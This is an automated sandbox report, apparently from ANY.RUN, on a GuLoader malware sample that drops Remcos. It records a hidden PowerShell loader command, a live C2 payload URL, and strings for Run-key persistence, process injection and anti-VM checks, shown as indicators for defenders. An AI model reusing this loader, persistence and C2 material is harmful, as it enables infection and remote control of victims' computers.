| URL: | https://bigfile.mail.naver.com/download?fid=S/nmaxCR16nrK3YwHqEqFAgXKAuXHqUmKotmFAUlKxgmKotZHquXKxMlaxtXaxvjax3oKqE9F6tdKAMmMxMdFzEdFo3SFo2rp4E9KoiCKzM= |
| Full analysis: | https://app.any.run/tasks/96478368-28a6-492e-85ab-bc8460649f3a |
| Verdict: | Malicious activity |
| Threats: | GuLoader is an advanced downloader written in shellcode. It’s used by criminals to distribute other malware, notably trojans, on a large scale. It’s infamous for using anti-detection and anti-analysis capabilities. |
| Analysis date: | April 29, 2024, 01:53:06 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MD5: | C7F254AAFE1DA865A8247D6F5B3EDA74 |
| SHA1: | 1E341C38748D7F8750FAB6B146DCDDC3E8917800 |
| SHA256: | 90A2AE98015C3298B310D69018EE579D561FB6498CB86B166AAA5A3CD35B61B9 |
| SSDEEP: | 3:N8/8TSy2BbQuDdmyZ8SKJukzIj5gcKCgRPgaKn:2UTCB9Q0DKgkzIj+2gx5Kn |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 312 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2012 --field-trial-handle=860,i,2635559418738431327,9323426775835602798,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:1 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: LOW Description: Google Chrome Exit code: 0 Version: 109.0.5414.120 Modules
| |||||||||||||||
| 568 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --disable-quic --mojo-platform-channel-handle=2936 --field-trial-handle=860,i,2635559418738431327,9323426775835602798,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Chrome Exit code: 0 Version: 109.0.5414.120 Modules
| |||||||||||||||
| 660 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2024 --field-trial-handle=860,i,2635559418738431327,9323426775835602798,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:1 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: LOW Description: Google Chrome Exit code: 0 Version: 109.0.5414.120 Modules
| |||||||||||||||
| 748 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgACAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1088 --field-trial-handle=860,i,2635559418738431327,9323426775835602798,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:2 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: LOW Description: Google Chrome Exit code: 0 Version: 109.0.5414.120 Modules
| |||||||||||||||
| 1064 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --disable-quic --mojo-platform-channel-handle=1284 --field-trial-handle=860,i,2635559418738431327,9323426775835602798,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 | C:\Program Files\Google\Chrome\Application\chrome.exe | chrome.exe | ||||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Chrome Exit code: 0 Version: 109.0.5414.120 Modules
| |||||||||||||||
| 1296 | "C:\Program Files\windows mail\wab.exe" | C:\Program Files\windows mail\wab.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Contacts Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1576 | "powershell" -windowstyle hidden "$Godtgrelse=cat 'C:\Users\admin\AppData\Local\Caffiaceous\adressekartotekernes\dogs\Bugvggene177\Stomodea\Fabriksskorstenene\Papegjenbs.Nyh';$Treague=$Godtgrelse.substring(49952,3);.$Treague($Godtgrelse)" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | TR8743-6732KJB79400342.com | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
guloader(PID) Process(1576) powershell.exe C2 (1)146.70.113.163/IqCzipqoQBwPWC138.bin Strings (40)%Finnmark% -windowstyle minimized $Tell=(Get-ItemProperty -Path 'HKCU:\Drinking\').Lnudgift;%Finnmark% ($Tell) %Finnmark% -windowstyle minimized $Nedgangstider=(Get-ItemProperty -Path 'HKCU:\Drinking\').Lnudgift;%Finnmark% ($Nedgangstider) Drinking\ Lnudgift c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Finnmark Environment \Microsoft.NET\Framework\\msbuild.exe ___ psapi.dll Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 wininet.dll Msi.dll user32 KERNELBASE.DLL advapi32 shell32 windir= SYSTEM\ControlSet001\Enum\ACPI\PNP0C0C TEMP= CONOUT$ CONIN$ mshtml.dll TEMP= ProgramFiles= /c REG ADD HKCU\ /f /v /t REG_EXPAND_SZ /d cmd.exe \system32\ \syswow64\ \windows mail\wab.exe \Windows Photo Viewer\ImagingDevices.exe \windows mail\wabmig.exe Startup key Software\Microsoft\Windows\CurrentVersion\Run C:\Program Files\qga\qga.exe C:\Program Files\Qemu-ga\qemu-ga.exe Publisher | |||||||||||||||
| 1696 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Downloads\TR8743-6732KJB79400342.tbz" | C:\Program Files\WinRAR\WinRAR.exe | explorer.exe | ||||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.91.0 Modules
| |||||||||||||||
| 1824 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgACAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1276 --field-trial-handle=860,i,2635559418738431327,9323426775835602798,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:2 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: LOW Description: Google Chrome Exit code: 0 Version: 109.0.5414.120 Modules
| |||||||||||||||
| 2032 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --disable-quic --mojo-platform-channel-handle=1512 --field-trial-handle=860,i,2635559418738431327,9323426775835602798,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: LOW Description: Google Chrome Exit code: 0 Version: 109.0.5414.120 Modules
| |||||||||||||||
| (PID) Process: | (3996) chrome.exe | Key: | HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon |
| Operation: | write | Name: | failed_count |
Value: 0 | |||
| (PID) Process: | (3996) chrome.exe | Key: | HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon |
| Operation: | write | Name: | state |
Value: 2 | |||
| (PID) Process: | (3996) chrome.exe | Key: | HKEY_CURRENT_USER\Software\Google\Chrome\ThirdParty |
| Operation: | write | Name: | StatusCodes |
Value: | |||
| (PID) Process: | (3996) chrome.exe | Key: | HKEY_CURRENT_USER\Software\Google\Chrome\ThirdParty |
| Operation: | write | Name: | StatusCodes |
Value: 01000000 | |||
| (PID) Process: | (3996) chrome.exe | Key: | HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon |
| Operation: | write | Name: | state |
Value: 1 | |||
| (PID) Process: | (3996) chrome.exe | Key: | HKEY_CURRENT_USER\Software\Google\Update\ClientState\{8A69D345-D564-463c-AFF1-A69D9E530F96} |
| Operation: | write | Name: | dr |
Value: 1 | |||
| (PID) Process: | (3996) chrome.exe | Key: | HKEY_CURRENT_USER\Software\Google\Chrome\StabilityMetrics |
| Operation: | write | Name: | user_experience_metrics.stability.exited_cleanly |
Value: 0 | |||
| (PID) Process: | (3996) chrome.exe | Key: | HKEY_CURRENT_USER\Software\Google\Chrome |
| Operation: | write | Name: | UsageStatsInSample |
Value: 0 | |||
| (PID) Process: | (3996) chrome.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientStateMedium\{8A69D345-D564-463C-AFF1-A69D9E530F96} |
| Operation: | write | Name: | usagestats |
Value: 0 | |||
| (PID) Process: | (3996) chrome.exe | Key: | HKEY_CURRENT_USER\Software\Google\Update\ClientState\{8A69D345-D564-463c-AFF1-A69D9E530F96} |
| Operation: | write | Name: | metricsid |
Value: | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3996 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db\LOG.old~RF103d49.TMP | — | |
MD5:— | SHA256:— | |||
| 3996 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db\LOG.old | — | |
MD5:— | SHA256:— | |||
| 3996 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG.old~RF104018.TMP | text | |
MD5:E53573A93829681410D5E7DBB1B61C78 | SHA256:A82D28F2C1E22A2AE0ABC5F5AF0CC8EE7AD913BAB3A0BF84CE6D8D23F67E06A3 | |||
| 3996 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\01ccf052-9c8e-4cfe-81db-a4e4edf43060.tmp | binary | |
MD5:5058F1AF8388633F609CADB75A75DC9D | SHA256:— | |||
| 3996 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Variations | binary | |
MD5:961E3604F228B0D10541EBF921500C86 | SHA256:F7B24F2EB3D5EB0550527490395D2F61C3D2FE74BB9CB345197DAD81B58B5FED | |||
| 3996 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old~RF103f0e.TMP | text | |
MD5:AD0DB8476493577A67FA94A162B646C4 | SHA256:304FB5B4FD83D4A9FF1EF4CF20232A1783169C148297BFE37ED24A1D22A74F2B | |||
| 3996 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\LOG.old~RF10447d.TMP | — | |
MD5:— | SHA256:— | |||
| 3996 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\LOG.old | — | |
MD5:— | SHA256:— | |||
| 3996 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG.old | text | |
MD5:23E954DCE0FB0ECF46A96FF4ACBE66F4 | SHA256:68F3B7AA8367C46273C296103B799A112DE3B70DE873C16F7166496CA31C3DDD | |||
| 3996 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.old | text | |
MD5:825B582C78EC88D54C215EFDF1EAD639 | SHA256:367995D01A8F13E5C30C79499F86B034775BFD009D83DC97635DE438D47DFA37 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
884 | svchost.exe | GET | 206 | 34.104.35.123:80 | http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/AJqZYiqGvCtix64S2N84g-M_2020.11.2.164946/EWvH2e-LS80S29cxzuTfRA | unknown | — | — | unknown |
884 | svchost.exe | HEAD | 200 | 34.104.35.123:80 | http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/AJqZYiqGvCtix64S2N84g-M_2020.11.2.164946/EWvH2e-LS80S29cxzuTfRA | unknown | — | — | unknown |
884 | svchost.exe | GET | 206 | 34.104.35.123:80 | http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/AJqZYiqGvCtix64S2N84g-M_2020.11.2.164946/EWvH2e-LS80S29cxzuTfRA | unknown | — | — | unknown |
884 | svchost.exe | GET | 206 | 34.104.35.123:80 | http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/AJqZYiqGvCtix64S2N84g-M_2020.11.2.164946/EWvH2e-LS80S29cxzuTfRA | unknown | — | — | unknown |
884 | svchost.exe | GET | 206 | 34.104.35.123:80 | http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/AJqZYiqGvCtix64S2N84g-M_2020.11.2.164946/EWvH2e-LS80S29cxzuTfRA | unknown | — | — | unknown |
884 | svchost.exe | GET | 206 | 34.104.35.123:80 | http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/AJqZYiqGvCtix64S2N84g-M_2020.11.2.164946/EWvH2e-LS80S29cxzuTfRA | unknown | — | — | unknown |
884 | svchost.exe | GET | 206 | 34.104.35.123:80 | http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/AJqZYiqGvCtix64S2N84g-M_2020.11.2.164946/EWvH2e-LS80S29cxzuTfRA | unknown | — | — | unknown |
884 | svchost.exe | GET | 206 | 34.104.35.123:80 | http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/AJqZYiqGvCtix64S2N84g-M_2020.11.2.164946/EWvH2e-LS80S29cxzuTfRA | unknown | — | — | unknown |
1296 | wab.exe | GET | 200 | 178.237.33.50:80 | http://geoplugin.net/json.gp | unknown | — | — | unknown |
1296 | wab.exe | GET | 200 | 146.70.113.163:80 | http://146.70.113.163/IqCzipqoQBwPWC138.bin | unknown | — | — | unknown |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 224.0.0.252:5355 | — | — | — | unknown |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
1088 | svchost.exe | 224.0.0.252:5355 | — | — | — | unknown |
1064 | chrome.exe | 142.250.27.84:443 | accounts.google.com | GOOGLE | US | unknown |
3996 | chrome.exe | 239.255.255.250:1900 | — | — | — | unknown |
1064 | chrome.exe | 125.209.234.99:443 | bigfile.mail.naver.com | NAVER Cloud Corp. | KR | unknown |
3996 | chrome.exe | 224.0.0.251:5353 | — | — | — | unknown |
1064 | chrome.exe | 142.250.185.196:443 | www.google.com | GOOGLE | US | whitelisted |
1064 | chrome.exe | 172.217.16.202:443 | www.googleapis.com | GOOGLE | US | whitelisted |
Domain | IP | Reputation |
|---|---|---|
bigfile.mail.naver.com |
| unknown |
accounts.google.com |
| shared |
www.google.com |
| whitelisted |
www.googleapis.com |
| whitelisted |
geoplugin.net |
| malicious |
update.googleapis.com |
| unknown |
edgedl.me.gvt1.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
1296 | wab.exe | Potentially Bad Traffic | ET HUNTING Generic .bin download from Dotted Quad |
1296 | wab.exe | A Network Trojan was detected | REMOTE [ANY.RUN] REMCOS JA3 Hash |
1296 | wab.exe | Malware Command and Control Activity Detected | ET JA3 Hash - Remcos 3.x/4.x TLS Connection |
1296 | wab.exe | A Network Trojan was detected | REMOTE [ANY.RUN] REMCOS JA3 Hash |
1296 | wab.exe | Malware Command and Control Activity Detected | ET JA3 Hash - Remcos 3.x/4.x TLS Connection |